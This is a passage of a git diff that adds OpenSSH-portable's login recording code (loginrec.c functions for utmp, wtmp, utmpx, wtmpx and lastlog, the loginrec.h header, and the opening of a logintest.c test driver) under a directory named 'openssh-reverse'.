to obtain last login + * time, e.g. AIX */ + return 0; +# else /* DISABLE_LASTLOG */ + /* Try to retrieve the last login time from wtmp */ +# if defined(USE_WTMP) && (defined(HAVE_TIME_IN_UTMP) || defined(HAVE_TV_IN_UTMP)) + /* retrieve last login time from utmp */ + return (wtmp_get_entry(li)); +# else /* defined(USE_WTMP) && (defined(HAVE_TIME_IN_UTMP) || defined(HAVE_TV_IN_UTMP)) */ + /* If wtmp isn't available, try wtmpx */ +# if defined(USE_WTMPX) && (defined(HAVE_TIME_IN_UTMPX) || defined(HAVE_TV_IN_UTMPX)) + /* retrieve last login time from utmpx */ + return (wtmpx_get_entry(li)); +# else + /* Give up: No means of retrieving last login time */ + return 0; +# endif /* USE_WTMPX && (HAVE_TIME_IN_UTMPX || HAVE_TV_IN_UTMPX) */ +# endif /* USE_WTMP && (HAVE_TIME_IN_UTMP || HAVE_TV_IN_UTMP) */ +# endif /* DISABLE_LASTLOG */ +#endif /* USE_LASTLOG */ +} + + + +/* + * 'line' string utility functions + * + * These functions process the 'line' string into one of three forms: + * + * 1. The full filename (including '/dev') + * 2. The stripped name (excluding '/dev') + * 3. The abbreviated name (e.g. /dev/ttyp00 -> yp00 + * /dev/pts/1 -> ts/1 ) + * + * Form 3 is used on some systems to identify a .tmp.? entry when + * attempting to remove it. Typically both addition and removal is + * performed by one application - say, sshd - so as long as the choice + * uniquely identifies a terminal it's ok. + */ + + +/* line_fullname(): add the leading '/dev/' if it doesn't exist make + * sure dst has enough space, if not just copy src (ugh) */ +char * +line_fullname(char *dst, const char *src, int dstsize) +{ + memset(dst, '\0', dstsize); + if ((strncmp(src, "/dev/", 5) == 0) || (dstsize < (strlen(src) + 5))) + strlcpy(dst, src, dstsize); + else { + strlcpy(dst, "/dev/", dstsize); + strlcat(dst, src, dstsize); + } + return dst; +} + +/* line_stripname(): strip the leading '/dev' if it exists, return dst */ +char * +line_stripname(char *dst, const char *src, int dstsize) +{ + memset(dst, '\0', dstsize); + if (strncmp(src, "/dev/", 5) == 0) + strlcpy(dst, &src[5], dstsize); + else + strlcpy(dst, src, dstsize); + return dst; +} + +/* line_abbrevname(): Return the abbreviated (usually four-character) + * form of the line (Just use the last characters of the + * full name.) + * + * NOTE: use strncpy because we do NOT necessarily want zero + * termination */ +char * +line_abbrevname(char *dst, const char *src, int dstsize) +{ + size_t len; + + memset(dst, '\0', dstsize); + + /* Always skip prefix if present */ + if (strncmp(src, "/dev/", 5) == 0) + src += 5; + + len = strlen(src); + + if (len > 0) { + if (((int)len - dstsize) > 0) + src += ((int)len - dstsize); + + /* note: _don't_ change this to strlcpy */ + strncpy(dst, src, (size_t)dstsize); + } + + return dst; +} + +/** + ** utmp utility functions + ** + ** These functions manipulate struct utmp, taking system differences + ** into account. + **/ + +#if defined(USE_UTMP) || defined (USE_WTMP) || defined (USE_LOGIN) + +/* build the utmp structure */ +void +set_utmp_time(struct logininfo *li, struct utmp *ut) +{ +# ifdef HAVE_TV_IN_UTMP + ut->ut_tv.tv_sec = li->tv_sec; + ut->ut_tv.tv_usec = li->tv_usec; +# else +# ifdef HAVE_TIME_IN_UTMP + ut->ut_time = li->tv_sec; +# endif +# endif +} + +void +construct_utmp(struct logininfo *li, + struct utmp *ut) +{ + memset(ut, '\0', sizeof(struct utmp)); + + /* First fill out fields used for both logins and logouts */ + +# ifdef HAVE_ID_IN_UTMP + line_abbrevname(ut->ut_id, li->line, sizeof(ut->ut_id)); +# endif + +# ifdef HAVE_TYPE_IN_UTMP + /* This is done here to keep utmp constants out of struct logininfo */ + switch (li->type) { + case LTYPE_LOGIN: + ut->ut_type = USER_PROCESS; + break; + case LTYPE_LOGOUT: + ut->ut_type = DEAD_PROCESS; + break; + } +# endif + set_utmp_time(li, ut); + + line_stripname(ut->ut_line, li->line, sizeof(ut->ut_line)); + +# ifdef HAVE_PID_IN_UTMP + ut->ut_pid = li->pid; +# endif + + /* If we're logging out, leave all other fields blank */ + if (li->type == LTYPE_LOGOUT) + return; + + /* + * These fields are only used when logging in, and are blank + * for logouts. + */ + + /* Use strncpy because we don't necessarily want null termination */ + strncpy(ut->ut_name, li->username, MIN_SIZEOF(ut->ut_name, li->username)); +# ifdef HAVE_HOST_IN_UTMP + strncpy(ut->ut_host, li->hostname, MIN_SIZEOF(ut->ut_host, li->hostname)); +# endif +# ifdef HAVE_ADDR_IN_UTMP + /* this is just a 32-bit IP address */ + if (li->hostaddr.sa.sa_family == AF_INET) + ut->ut_addr = li->hostaddr.sa_in.sin_addr.s_addr; +# endif +} +#endif /* USE_UTMP || USE_WTMP || USE_LOGIN */ + +/** + ** utmpx utility functions + ** + ** These functions manipulate struct utmpx, accounting for system + ** variations. + **/ + +#if defined(USE_UTMPX) || defined (USE_WTMPX) +/* build the utmpx structure */ +void +set_utmpx_time(struct logininfo *li, struct utmpx *utx) +{ +# ifdef HAVE_TV_IN_UTMPX + utx->ut_tv.tv_sec = li->tv_sec; + utx->ut_tv.tv_usec = li->tv_usec; +# else /* HAVE_TV_IN_UTMPX */ +# ifdef HAVE_TIME_IN_UTMPX + utx->ut_time = li->tv_sec; +# endif /* HAVE_TIME_IN_UTMPX */ +# endif /* HAVE_TV_IN_UTMPX */ +} + +void +construct_utmpx(struct logininfo *li, struct utmpx *utx) +{ + memset(utx, '\0', sizeof(struct utmpx)); +# ifdef HAVE_ID_IN_UTMPX + line_abbrevname(utx->ut_id, li->line, sizeof(utx->ut_id)); +# endif + + /* this is done here to keep utmp constants out of loginrec.h */ + switch (li->type) { + case LTYPE_LOGIN: + utx->ut_type = USER_PROCESS; + break; + case LTYPE_LOGOUT: + utx->ut_type = DEAD_PROCESS; + break; + } + line_stripname(utx->ut_line, li->line, sizeof(utx->ut_line)); + set_utmpx_time(li, utx); + utx->ut_pid = li->pid; + + if (li->type == LTYPE_LOGOUT) + return; + + /* + * These fields are only used when logging in, and are blank + * for logouts. + */ + + /* strncpy(): Don't necessarily want null termination */ + strncpy(utx->ut_name, li->username, MIN_SIZEOF(utx->ut_name, li->username)); +# ifdef HAVE_HOST_IN_UTMPX + strncpy(utx->ut_host, li->hostname, MIN_SIZEOF(utx->ut_host, li->hostname)); +# endif +# ifdef HAVE_ADDR_IN_UTMPX + /* FIXME: (ATL) not supported yet */ +# endif +# ifdef HAVE_SYSLEN_IN_UTMPX + /* ut_syslen is the length of the utx_host string */ + utx->ut_syslen = MIN(strlen(li->hostname), sizeof(utx->ut_host)); +# endif +} +#endif /* USE_UTMPX || USE_WTMPX */ + +/** + ** Low-level utmp functions + **/ + +/* FIXME: (ATL) utmp_write_direct needs testing */ +#ifdef USE_UTMP + +/* if we can, use pututline() etc. */ +# if !defined(DISABLE_PUTUTLINE) && defined(HAVE_SETUTENT) && \ + defined(HAVE_PUTUTLINE) +# define UTMP_USE_LIBRARY +# endif + + +/* write a utmp entry with the system's help (pututline() and pals) */ +# ifdef UTMP_USE_LIBRARY +static int +utmp_write_library(struct logininfo *li, struct utmp *ut) +{ + setutent(); + pututline(ut); + +# ifdef HAVE_ENDUTENT + endutent(); +# endif + return 1; +} +# else /* UTMP_USE_LIBRARY */ + +/* write a utmp entry direct to the file */ +/* This is a slightly modification of code in OpenBSD's login.c */ +static int +utmp_write_direct(struct logininfo *li, struct utmp *ut) +{ + struct utmp old_ut; + register int fd; + int tty; + + /* FIXME: (ATL) ttyslot() needs local implementation */ + tty = ttyslot(); /* seems only to work for /dev/ttyp? style names */ + + if (tty > 0 && (fd = open(UTMP_FILE, O_RDWR|O_CREAT, 0644)) >= 0) { + (void)lseek(fd, (off_t)(tty * sizeof(struct utmp)), SEEK_SET); + /* + * Prevent luser from zero'ing out ut_host. + * If the new ut_line is empty but the old one is not + * and ut_line and ut_name match, preserve the old ut_line. + */ + if (atomicio(read, fd, &old_ut, sizeof(old_ut)) == sizeof(old_ut) && + (ut->ut_host[0] == '\0') && (old_ut.ut_host[0] != '\0') && + (strncmp(old_ut.ut_line, ut->ut_line, sizeof(ut->ut_line)) == 0) && + (strncmp(old_ut.ut_name, ut->ut_name, sizeof(ut->ut_name)) == 0)) { + (void)memcpy(ut->ut_host, old_ut.ut_host, sizeof(ut->ut_host)); + } + + (void)lseek(fd, (off_t)(tty * sizeof(struct utmp)), SEEK_SET); + if (atomicio(write, fd, ut, sizeof(ut)) != sizeof(ut)) + log("utmp_write_direct: error writing %s: %s", + UTMP_FILE, strerror(errno)); + + (void)close(fd); + return 1; + } else { + return 0; + } +} +# endif /* UTMP_USE_LIBRARY */ + +static int +utmp_perform_login(struct logininfo *li) +{ + struct utmp ut; + + construct_utmp(li, &ut); +# ifdef UTMP_USE_LIBRARY + if (!utmp_write_library(li, &ut)) { + log("utmp_perform_login: utmp_write_library() failed"); + return 0; + } +# else + if (!utmp_write_direct(li, &ut)) { + log("utmp_perform_login: utmp_write_direct() failed"); + return 0; + } +# endif + return 1; +} + + +static int +utmp_perform_logout(struct logininfo *li) +{ + struct utmp ut; + + construct_utmp(li, &ut); +# ifdef UTMP_USE_LIBRARY + if (!utmp_write_library(li, &ut)) { + log("utmp_perform_logout: utmp_write_library() failed"); + return 0; + } +# else + if (!utmp_write_direct(li, &ut)) { + log("utmp_perform_logout: utmp_write_direct() failed"); + return 0; + } +# endif + return 1; +} + + +int +utmp_write_entry(struct logininfo *li) +{ + switch(li->type) { + case LTYPE_LOGIN: + return utmp_perform_login(li); + + case LTYPE_LOGOUT: + return utmp_perform_logout(li); + + default: + log("utmp_write_entry: invalid type field"); + return 0; + } +} +#endif /* USE_UTMP */ + + +/** + ** Low-level utmpx functions + **/ + +/* not much point if we don't want utmpx entries */ +#ifdef USE_UTMPX + +/* if we have the wherewithall, use pututxline etc. */ +# if !defined(DISABLE_PUTUTXLINE) && defined(HAVE_SETUTXENT) && \ + defined(HAVE_PUTUTXLINE) +# define UTMPX_USE_LIBRARY +# endif + + +/* write a utmpx entry with the system's help (pututxline() and pals) */ +# ifdef UTMPX_USE_LIBRARY +static int +utmpx_write_library(struct logininfo *li, struct utmpx *utx) +{ + setutxent(); + pututxline(utx); + +# ifdef HAVE_ENDUTXENT + endutxent(); +# endif + return 1; +} + +# else /* UTMPX_USE_LIBRARY */ + +/* write a utmp entry direct to the file */ +static int +utmpx_write_direct(struct logininfo *li, struct utmpx *utx) +{ + log("utmpx_write_direct: not implemented!"); + return 0; +} +# endif /* UTMPX_USE_LIBRARY */ + +static int +utmpx_perform_login(struct logininfo *li) +{ + struct utmpx utx; + + construct_utmpx(li, &utx); +# ifdef UTMPX_USE_LIBRARY + if (!utmpx_write_library(li, &utx)) { + log("utmpx_perform_login: utmp_write_library() failed"); + return 0; + } +# else + if (!utmpx_write_direct(li, &ut)) { + log("utmpx_perform_login: utmp_write_direct() failed"); + return 0; + } +# endif + return 1; +} + + +static int +utmpx_perform_logout(struct logininfo *li) +{ + struct utmpx utx; + + memset(&utx, '\0', sizeof(utx)); + set_utmpx_time(li, &utx); + line_stripname(utx.ut_line, li->line, sizeof(utx.ut_line)); +# ifdef HAVE_ID_IN_UTMPX + line_abbrevname(utx.ut_id, li->line, sizeof(utx.ut_id)); +# endif +# ifdef HAVE_TYPE_IN_UTMPX + utx.ut_type = DEAD_PROCESS; +# endif + +# ifdef UTMPX_USE_LIBRARY + utmpx_write_library(li, &utx); +# else + utmpx_write_direct(li, &utx); +# endif + return 1; +} + +int +utmpx_write_entry(struct logininfo *li) +{ + switch(li->type) { + case LTYPE_LOGIN: + return utmpx_perform_login(li); + case LTYPE_LOGOUT: + return utmpx_perform_logout(li); + default: + log("utmpx_write_entry: invalid type field"); + return 0; + } +} +#endif /* USE_UTMPX */ + + +/** + ** Low-level wtmp functions + **/ + +#ifdef USE_WTMP + +/* write a wtmp entry direct to the end of the file */ +/* This is a slight modification of code in OpenBSD's logwtmp.c */ +static int +wtmp_write(struct logininfo *li, struct utmp *ut) +{ + struct stat buf; + int fd, ret = 1; + + if ((fd = open(WTMP_FILE, O_WRONLY|O_APPEND, 0)) < 0) { + log("wtmp_write: problem writing %s: %s", + WTMP_FILE, strerror(errno)); + return 0; + } + if (fstat(fd, &buf) == 0) + if (atomicio(write, fd, ut, sizeof(*ut)) != sizeof(*ut)) { + ftruncate(fd, buf.st_size); + log("wtmp_write: problem writing %s: %s", + WTMP_FILE, strerror(errno)); + ret = 0; + } + (void)close(fd); + return ret; +} + +static int +wtmp_perform_login(struct logininfo *li) +{ + struct utmp ut; + + construct_utmp(li, &ut); + return wtmp_write(li, &ut); +} + + +static int +wtmp_perform_logout(struct logininfo *li) +{ + struct utmp ut; + + construct_utmp(li, &ut); + return wtmp_write(li, &ut); +} + + +int +wtmp_write_entry(struct logininfo *li) +{ + switch(li->type) { + case LTYPE_LOGIN: + return wtmp_perform_login(li); + case LTYPE_LOGOUT: + return wtmp_perform_logout(li); + default: + log("wtmp_write_entry: invalid type field"); + return 0; + } +} + + +/* Notes on fetching login data from wtmp/wtmpx + * + * Logouts are usually recorded with (amongst other things) a blank + * username on a given tty line. However, some systems (HP-UX is one) + * leave all fields set, but change the ut_type field to DEAD_PROCESS. + * + * Since we're only looking for logins here, we know that the username + * must be set correctly. On systems that leave it in, we check for + * ut_type==USER_PROCESS (indicating a login.) + * + * Portability: Some systems may set something other than USER_PROCESS + * to indicate a login process. I don't know of any as I write. Also, + * it's possible that some systems may both leave the username in + * place and not have ut_type. + */ + +/* return true if this wtmp entry indicates a login */ +static int +wtmp_islogin(struct logininfo *li, struct utmp *ut) +{ + if (strncmp(li->username, ut->ut_name, + MIN_SIZEOF(li->username, ut->ut_name)) == 0) { +# ifdef HAVE_TYPE_IN_UTMP + if (ut->ut_type & USER_PROCESS) + return 1; +# else + return 1; +# endif + } + return 0; +} + +int +wtmp_get_entry(struct logininfo *li) +{ + struct stat st; + struct utmp ut; + int fd, found=0; + + /* Clear the time entries in our logininfo */ + li->tv_sec = li->tv_usec = 0; + + if ((fd = open(WTMP_FILE, O_RDONLY)) < 0) { + log("wtmp_get_entry: problem opening %s: %s", + WTMP_FILE, strerror(errno)); + return 0; + } + if (fstat(fd, &st) != 0) { + log("wtmp_get_entry: couldn't stat %s: %s", + WTMP_FILE, strerror(errno)); + close(fd); + return 0; + } + + /* Seek to the start of the last struct utmp */ + if (lseek(fd, (off_t)(0-sizeof(struct utmp)), SEEK_END) == -1) { + /* Looks like we've got a fresh wtmp file */ + close(fd); + return 0; + } + + while (!found) { + if (atomicio(read, fd, &ut, sizeof(ut)) != sizeof(ut)) { + log("wtmp_get_entry: read of %s failed: %s", + WTMP_FILE, strerror(errno)); + close (fd); + return 0; + } + if ( wtmp_islogin(li, &ut) ) { + found = 1; + /* We've already checked for a time in struct + * utmp, in login_getlast(). */ +# ifdef HAVE_TIME_IN_UTMP + li->tv_sec = ut.ut_time; +# else +# if HAVE_TV_IN_UTMP + li->tv_sec = ut.ut_tv.tv_sec; +# endif +# endif + line_fullname(li->line, ut.ut_line, + MIN_SIZEOF(li->line, ut.ut_line)); +# ifdef HAVE_HOST_IN_UTMP + strlcpy(li->hostname, ut.ut_host, + MIN_SIZEOF(li->hostname, ut.ut_host)); +# endif + continue; + } + /* Seek back 2 x struct utmp */ + if (lseek(fd, (off_t)(0-2*sizeof(struct utmp)), SEEK_CUR) == -1) { + /* We've found the start of the file, so quit */ + close (fd); + return 0; + } + } + + /* We found an entry. Tidy up and return */ + close(fd); + return 1; +} +# endif /* USE_WTMP */ + + +/** + ** Low-level wtmpx functions + **/ + +#ifdef USE_WTMPX +/* write a wtmpx entry direct to the end of the file */ +/* This is a slight modification of code in OpenBSD's logwtmp.c */ +static int +wtmpx_write(struct logininfo *li, struct utmpx *utx) +{ + struct stat buf; + int fd, ret = 1; + + if ((fd = open(WTMPX_FILE, O_WRONLY|O_APPEND, 0)) < 0) { + log("wtmpx_write: problem opening %s: %s", + WTMPX_FILE, strerror(errno)); + return 0; + } + + if (fstat(fd, &buf) == 0) + if (atomicio(write, fd, utx, sizeof(*utx)) != sizeof(*utx)) { + ftruncate(fd, buf.st_size); + log("wtmpx_write: problem writing %s: %s", + WTMPX_FILE, strerror(errno)); + ret = 0; + } + (void)close(fd); + + return ret; +} + + +static int +wtmpx_perform_login(struct logininfo *li) +{ + struct utmpx utx; + + construct_utmpx(li, &utx); + return wtmpx_write(li, &utx); +} + + +static int +wtmpx_perform_logout(struct logininfo *li) +{ + struct utmpx utx; + + construct_utmpx(li, &utx); + return wtmpx_write(li, &utx); +} + + +int +wtmpx_write_entry(struct logininfo *li) +{ + switch(li->type) { + case LTYPE_LOGIN: + return wtmpx_perform_login(li); + case LTYPE_LOGOUT: + return wtmpx_perform_logout(li); + default: + log("wtmpx_write_entry: invalid type field"); + return 0; + } +} + +/* Please see the notes above wtmp_islogin() for information about the + next two functions */ + +/* Return true if this wtmpx entry indicates a login */ +static int +wtmpx_islogin(struct logininfo *li, struct utmpx *utx) +{ + if ( strncmp(li->username, utx->ut_name, + MIN_SIZEOF(li->username, utx->ut_name)) == 0 ) { +# ifdef HAVE_TYPE_IN_UTMPX + if (utx->ut_type == USER_PROCESS) + return 1; +# else + return 1; +# endif + } + return 0; +} + + +int +wtmpx_get_entry(struct logininfo *li) +{ + struct stat st; + struct utmpx utx; + int fd, found=0; + + /* Clear the time entries */ + li->tv_sec = li->tv_usec = 0; + + if ((fd = open(WTMPX_FILE, O_RDONLY)) < 0) { + log("wtmpx_get_entry: problem opening %s: %s", + WTMPX_FILE, strerror(errno)); + return 0; + } + if (fstat(fd, &st) != 0) { + log("wtmpx_get_entry: couldn't stat %s: %s", + WTMP_FILE, strerror(errno)); + close(fd); + return 0; + } + + /* Seek to the start of the last struct utmpx */ + if (lseek(fd, (off_t)(0-sizeof(struct utmpx)), SEEK_END) == -1 ) { + /* probably a newly rotated wtmpx file */ + close(fd); + return 0; + } + + while (!found) { + if (atomicio(read, fd, &utx, sizeof(utx)) != sizeof(utx)) { + log("wtmpx_get_entry: read of %s failed: %s", + WTMPX_FILE, strerror(errno)); + close (fd); + return 0; + } + /* Logouts are recorded as a blank username on a particular line. + * So, we just need to find the username in struct utmpx */ + if ( wtmpx_islogin(li, &utx) ) { +# ifdef HAVE_TV_IN_UTMPX + li->tv_sec = utx.ut_tv.tv_sec; +# else +# ifdef HAVE_TIME_IN_UTMPX + li->tv_sec = utx.ut_time; +# endif +# endif + line_fullname(li->line, utx.ut_line, sizeof(li->line)); +# ifdef HAVE_HOST_IN_UTMPX + strlcpy(li->hostname, utx.ut_host, + MIN_SIZEOF(li->hostname, utx.ut_host)); +# endif + continue; + } + if (lseek(fd, (off_t)(0-2*sizeof(struct utmpx)), SEEK_CUR) == -1) { + close (fd); + return 0; + } + } + + close(fd); + return 1; +} +#endif /* USE_WTMPX */ + +/** + ** Low-level libutil login() functions + **/ + +#ifdef USE_LOGIN +static int +syslogin_perform_login(struct logininfo *li) +{ + struct utmp *ut; + + if (! (ut = (struct utmp *)malloc(sizeof(struct utmp)))) { + log("syslogin_perform_login: couldn't malloc()"); + return 0; + } + construct_utmp(li, ut); + login(ut); + + return 1; +} + +static int +syslogin_perform_logout(struct logininfo *li) +{ +# ifdef HAVE_LOGOUT + char line[8]; + + (void)line_stripname(line, li->line, sizeof(line)); + + if (!logout(line)) { + log("syslogin_perform_logout: logout() returned an error"); +# ifdef HAVE_LOGWTMP + } else { + logwtmp(line, "", ""); +# endif + } + /* FIXME: (ATL - if the need arises) What to do if we have + * login, but no logout? what if logout but no logwtmp? All + * routines are in libutil so they should all be there, + * but... */ +# endif + return 1; +} + +int +syslogin_write_entry(struct logininfo *li) +{ + switch (li->type) { + case LTYPE_LOGIN: + return syslogin_perform_login(li); + case LTYPE_LOGOUT: + return syslogin_perform_logout(li); + default: + log("syslogin_write_entry: Invalid type field"); + return 0; + } +} +#endif /* USE_LOGIN */ + +/* end of file log-syslogin.c */ + +/** + ** Low-level lastlog functions + **/ + +#ifdef USE_LASTLOG +#define LL_FILE 1 +#define LL_DIR 2 +#define LL_OTHER 3 + +static void +lastlog_construct(struct logininfo *li, struct lastlog *last) +{ + /* clear the structure */ + memset(last, '\0', sizeof(struct lastlog)); + + (void)line_stripname(last->ll_line, li->line, sizeof(last->ll_line)); + strlcpy(last->ll_host, li->hostname, + MIN_SIZEOF(last->ll_host, li->hostname)); + last->ll_time = li->tv_sec; +} + +static int +lastlog_filetype(char *filename) +{ + struct stat st; + + if (stat(LASTLOG_FILE, &st) != 0) { + log("lastlog_perform_login: Couldn't stat %s: %s", LASTLOG_FILE, + strerror(errno)); + return 0; + } + if (S_ISDIR(st.st_mode)) + return LL_DIR; + else if (S_ISREG(st.st_mode)) + return LL_FILE; + else + return LL_OTHER; +} + + +/* open the file (using filemode) and seek to the login entry */ +static int +lastlog_openseek(struct logininfo *li, int *fd, int filemode) +{ + off_t offset; + int type; + char lastlog_file[1024]; + + type = lastlog_filetype(LASTLOG_FILE); + switch (type) { + case LL_FILE: + strlcpy(lastlog_file, LASTLOG_FILE, sizeof(lastlog_file)); + break; + case LL_DIR: + snprintf(lastlog_file, sizeof(lastlog_file), "%s/%s", + LASTLOG_FILE, li->username); + break; + default: + log("lastlog_openseek: %.100s is not a file or directory!", + LASTLOG_FILE); + return 0; + } + + *fd = open(lastlog_file, filemode); + if ( *fd < 0) { + debug("lastlog_openseek: Couldn't open %s: %s", + lastlog_file, strerror(errno)); + return 0; + } + + /* find this uid's offset in the lastlog file */ + offset = (off_t) ( (long)li->uid * sizeof(struct lastlog)); + + if ( lseek(*fd, offset, SEEK_SET) != offset ) { + log("lastlog_openseek: %s->lseek(): %s", + lastlog_file, strerror(errno)); + return 0; + } + return 1; +} + +static int +lastlog_perform_login(struct logininfo *li) +{ + struct lastlog last; + int fd; + + /* create our struct lastlog */ + lastlog_construct(li, &last); + + /* write the entry */ + if (lastlog_openseek(li, &fd, O_RDWR|O_CREAT)) { + if (atomicio(write, fd, &last, sizeof(last)) != sizeof(last)) { + log("lastlog_write_filemode: Error writing to %s: %s", + LASTLOG_FILE, strerror(errno)); + return 0; + } + return 1; + } else { + return 0; + } +} + +int +lastlog_write_entry(struct logininfo *li) +{ + switch(li->type) { + case LTYPE_LOGIN: + return lastlog_perform_login(li); + default: + log("lastlog_write_entry: Invalid type field"); + return 0; + } +} + +static void +lastlog_populate_entry(struct logininfo *li, struct lastlog *last) +{ + line_fullname(li->line, last->ll_line, sizeof(li->line)); + strlcpy(li->hostname, last->ll_host, + MIN_SIZEOF(li->hostname, last->ll_host)); + li->tv_sec = last->ll_time; +} + +int +lastlog_get_entry(struct logininfo *li) +{ + struct lastlog last; + int fd; + + if (lastlog_openseek(li, &fd, O_RDONLY)) { + if (atomicio(read, fd, &last, sizeof(last)) != sizeof(last)) { + log("lastlog_get_entry: Error reading from %s: %s", + LASTLOG_FILE, strerror(errno)); + return 0; + } else { + lastlog_populate_entry(li, &last); + return 1; + } + } else { + return 0; + } +} +#endif /* USE_LASTLOG */ diff --git a/other/openssh-reverse/loginrec.h b/other/openssh-reverse/loginrec.h new file mode 100644 index 0000000..b3dbb43 --- /dev/null +++ b/other/openssh-reverse/loginrec.h @@ -0,0 +1,137 @@ +#ifndef _HAVE_LOGINREC_H_ +#define _HAVE_LOGINREC_H_ + +/* + * Copyright (c) 2000 Andre Lucas. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/** + ** loginrec.h: platform-independent login recording and lastlog retrieval + **/ + +#include "includes.h" + +#include +#include +#include + +/* RCSID("$Id: loginrec.h,v 1.4 2000/06/27 01:18:27 djm Exp $"); */ + +/** + ** you should use the login_* calls to work around platform dependencies + **/ + +/* + * login_netinfo structure + */ + +union login_netinfo { + struct sockaddr sa; + struct sockaddr_in sa_in; + struct sockaddr_storage sa_storage; +}; + +/* + * * logininfo structure * + */ +/* types - different to utmp.h 'type' macros */ +/* (though set to the same value as linux, openbsd and others...) */ +#define LTYPE_LOGIN 7 +#define LTYPE_LOGOUT 8 + +/* string lengths - set very long */ +#define LINFO_PROGSIZE 64 +#define LINFO_LINESIZE 64 +#define LINFO_NAMESIZE 64 +#define LINFO_HOSTSIZE 256 + +struct logininfo { + char progname[LINFO_PROGSIZE]; /* name of program (for PAM) */ + int progname_null; + short int type; /* type of login (LTYPE_*) */ + int pid; /* PID of login process */ + int uid; /* UID of this user */ + char line[LINFO_LINESIZE]; /* tty/pty name */ + char username[LINFO_NAMESIZE]; /* login username */ + char hostname[LINFO_HOSTSIZE]; /* remote hostname */ + /* 'exit_status' structure components */ + int exit; /* process exit status */ + int termination; /* process termination status */ + /* struct timeval (sys/time.h) isn't always available, if it isn't we'll + * use time_t's value as tv_sec and set tv_usec to 0 + */ + unsigned int tv_sec; + unsigned int tv_usec; + union login_netinfo hostaddr; /* caller's host address(es) */ +}; /* struct logininfo */ + +/* + * login recording functions + */ + +/** 'public' functions */ + +/* construct a new login entry */ +struct logininfo *login_alloc_entry(int pid, const char *username, + const char *hostname, const char *line); +/* free a structure */ +void login_free_entry(struct logininfo *li); +/* fill out a pre-allocated structure with useful information */ +int login_init_entry(struct logininfo *li, int pid, const char *username, + const char *hostname, const char *line); +/* place the current time in a logininfo struct */ +void login_set_current_time(struct logininfo *li); + +/* record the entry */ +int login_login (struct logininfo *li); +int login_logout(struct logininfo *li); + +/** End of public functions */ + +/* record the entry */ +int login_write (struct logininfo *li); +int login_log_entry(struct logininfo *li); + +/* set the network address based on network address type */ +void login_set_addr(struct logininfo *li, const struct sockaddr *sa, + const unsigned int sa_size); + +/* + * lastlog retrieval functions + */ +/* lastlog *entry* functions fill out a logininfo */ +struct logininfo *login_get_lastlog(struct logininfo *li, const int uid); +/* lastlog *time* functions return time_t equivalent (uint) */ +unsigned int login_get_lastlog_time(const int uid); + +/* produce various forms of the line filename */ +char *line_fullname(char *dst, const char *src, int dstsize); +char *line_stripname(char *dst, const char *src, int dstsize); +char *line_abbrevname(char *dst, const char *src, int dstsize); + +#endif /* _HAVE_LOGINREC_H_ */ diff --git a/other/openssh-reverse/logintest.c b/other/openssh-reverse/logintest.c new file mode 100644 index 0000000..8860523 --- /dev/null +++ b/other/openssh-reverse/logintest.c @@ -0,0 +1,309 @@ +/* + * Copyright (c) 2000 Andre Lucas. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/** + ** logintest.c: simple test driver for platform-independent login recording + ** and lastlog retrieval + **/ + +#include "includes.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#ifdef HAVE_TIME_H +#include +#endif + +#include "loginrec.h" + +RCSID("$Id: logintest.c,v 1.6 2000/06/19 08:25:36 andre Exp $"); + + +#define PAUSE_BEFORE_LOGOUT 3 + +int nologtest = 0; +int compile_opts_only = 0; +int be_verbose = 0; + + +/* Dump a logininfo to stdout. Assumes a tab size of 8 chars. */ +void +dump_logininfo(struct logininfo *li, char *descname) +{ + /* yes I know how nasty this is */ + printf("struct logininfo %s = {\n\t" + 